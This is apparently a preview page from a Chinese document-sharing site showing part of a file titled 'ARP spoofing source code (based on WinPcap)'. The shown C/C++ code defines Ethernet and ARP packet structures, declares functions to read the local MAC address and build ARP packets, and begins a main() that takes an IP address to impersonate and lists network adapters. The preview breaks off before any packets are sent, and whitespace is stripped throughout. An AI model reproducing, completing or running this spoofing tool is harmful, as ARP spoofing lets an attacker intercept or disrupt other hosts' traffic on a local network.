ARP欺骗源代码(基于WinPcap实现).doc

ARP欺骗源代码(基于WinPcap实现).doc

ID:50811488

大小:39.00 KB

页数:7页

时间:2020-03-14

ARP欺骗源代码(基于WinPcap实现).doc_第1页
ARP欺骗源代码(基于WinPcap实现).doc_第2页
ARP欺骗源代码(基于WinPcap实现).doc_第3页
ARP欺骗源代码(基于WinPcap实现).doc_第4页
ARP欺骗源代码(基于WinPcap实现).doc_第5页
资源描述:

《ARP欺骗源代码(基于WinPcap实现).doc》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库

1、//ArpCheat.h#ifndefMY_ARP_CHEAT_INCLUDE_H#defineMY_ARP_CHEAT_INCLUDE_H//字节对齐必须是1#pragmapack(1)structethernet_head{unsignedchardest_mac[6];//目标主机MAC地址unsignedcharsource_mac[6];//源端MAC地址unsignedshorteh_type;//以太网类型};structarp_head{unsignedshorthardware_type;//硬件类型:以太网接口类型为1unsignedshortprotocol_

2、type;//协议类型:IP协议类型为0X0800unsignedcharadd_len;//硬件地址长度:MAC地址长度为6Bunsignedcharpro_len;//协议地址长度:IP地址长度为4Bunsignedshortoption;//操作:ARP请求为1,ARP应答为2unsignedcharsour_addr[6];//源MAC地址:发送方的MAC地址unsignedlongsour_ip;//源IP地址:发送方的IP地址unsignedchardest_addr[6];//目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址unsigned

3、longdest_ip;//目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址unsignedcharpadding[18];};structarp_packet//最终arp包结构{ethernet_headeth;//以太网头部arp_headarp;//arp数据包头部};#pragmapack()/***获得网卡的MAC地址*pDevName网卡的设备名称*/unsignedchar*GetSelfMac(char*pDevName);/***封装ARP请求包*source_mac源MAC地址*srcIP源IP*destIP目的IP*/unsig

4、nedchar*BuildArpPacket(unsignedchar*source_mac,unsignedlongsrcIP,unsignedlongdestIP);#endif //ArpCheat.cpp#include#include#include#include#include#include"ArpCheat.h"intmain(intargc,char*argv[]){pcap_if_t*alldevs;//全部网卡列表pcap_if_t*d;//一个网卡intin

5、um;//用户选择的网卡序号inti=0;//循环变量pcap_t*adhandle;//一个pcap实例charerrbuf[PCAP_ERRBUF_SIZE];//错误缓冲区unsignedchar*mac;//本机MAC地址unsignedchar*packet;//ARP包unsignedlongfakeIp;//要伪装成的IP地址pcap_addr_t*pAddr;//网卡地址unsignedlongip;//IP地址unsignedlongnetmask;//子网掩码if(argc!=2){printf("Usage:%sinet_addr",argv[0]);re

6、turn-1;}//从参数列表获得要伪装的IP地址fakeIp=inet_addr(argv[1]);if(INADDR_NONE==fakeIp){fprintf(stderr,"InvalidIP:%s",argv[1]);return-1;}/*获得本机网卡列表*/if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1){fprintf(stderr,"Errorinpcap_findalldevs:%s",errbuf);exit(1);}/*打印网卡列表*/for(d=alldevs;

7、d;d=d->next){printf("%d",++i);if(d->description)printf(".%s",d->description);elseprintf(".Nodescriptionavailable");}//如果没有发现网卡if(i==0){printf("Nointerfacesfound!MakesureWinPcapisinstalled.");return-1;}//请用户选择一个网卡printf("Enterthe

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。